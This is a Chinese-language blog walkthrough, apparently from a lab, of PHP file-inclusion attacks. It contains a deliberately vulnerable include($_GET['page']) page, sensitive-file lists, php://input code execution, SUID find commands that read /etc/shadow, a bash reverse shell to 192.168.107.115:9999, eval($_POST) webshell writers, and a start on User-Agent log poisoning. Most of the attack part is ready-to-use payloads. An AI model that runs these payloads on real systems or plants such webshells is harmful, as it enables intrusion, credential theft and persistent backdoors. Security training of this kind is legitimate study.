文件包含的一些getshell姿势

一、环境搭建

攻击机:kali

IP地址:192.168.0.13

靶机:Centos

IP地址:192.168.0.20

实验使用源代码如下

<html>
<body>
<h1>请选择数字</h1>
<form action="?page=<?php $file = $_GET[ 'page' ];
echo $file; ?>" method="GET">
	<select name="page">
        <option value="1.php">1</option>
        <option value="2.php">2</option>
        <option value="3.php">3</option>
    </select>
    <input type="submit" , value="提交">
</form>

<?php
$file = $_GET[ 'page' ];
include $file;
?>

二、实验步骤

1.扫描端口开放web端口

PHP中文件包含函数有以下四种:

require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行

require_once() // 如果一个文件已经被包含过,则不会在包含它

include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行

include_once() // 如果一个文件已经被包含过,则不会在包含它

测试方法为是否可以通过用户控制,包含其他恶意文件,导致了执行访问了非预期的文件。

这里列下一些常见的列表

  1. 根目录

    • /etc/passwd(用于Linux系统用户信息)
    • /etc/hosts(域名到IP地址映射)
  2. Web应用目录

    • index.php
    • config.php
    • header.php
    • footer.php
  3. 日志文件

    • /var/log/apache2/access.log
    • /var/log/apache2/error.log
    • /var/log/nginx/access.log
  4. 系统配置文件

    • /proc/self/environ
    • /proc/version
  5. Windows系统文件(如果目标是Windows):

    • C:\Windows\win.ini
    • C:\Windows\System32\drivers\etc\host

这里尝试包含成功访问

这里开始尝试getshell

这里我们使用php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的

遇到file_get_contents()要想到用php://input绕过。

这里我们的思路可以放开多用几种姿势getshell

(一) 提权

发现find命令

touch abc

find abc -exec whoami \;

我们当前用户没有写入权限所以我们查询1.php

<?php system("find 1.php -exec cat /etc/shadow \;");?>

(二) 反弹shell
<?php 
system('/bin/bash -c "bash -i >& /dev/tcp/192.168.107.115/9999 0>&1"');
?>

提权姿势

find / -perm -u=s -type f 2>/dev/null //查找suid命令

find / -perm -g=s -type f 2>/dev/null //查找sgid文件

find . -exec /bin/sh -p \; -quit

(三) 写马子

这些环境都是为了能看到一个终端

写入一句话木马

使用单引号'包裹外部字符串,可以避免PHP解析器混淆。

在字符串内部,使用反斜杠\对引号进行转义,确保嵌套的引号能够正确解析。

<?php 
  system('echo "<?php eval(\$_POST[\"cmd\"]); ?>" > 7.php'); 
?>

使用蚁剑连接

或者通过find写入木马

<?php
system('find 1.php -exec sh -c \'echo "<?php eval(\\$_POST[\\"cmd\\"]); ?>" > 11.php\' \;');

<?php
system('find 1.php -exec chmod 777 11.php \;');
?>

(四) user-angnt注入

为了实验我们适当的更改权限

#centos 下默认路径

/var/log/nginx/access.log

/var/log/httpd/access_log

#ubuntu下默认路径

/var/log/apache2/access.log

/var/log/nginx/access.log

通过观察可以发现目标日志系统会将user-angnt记录

我们在可在ua头里写入马子

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明弟有理想

觉得有帮助可以投喂下博主~感谢

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值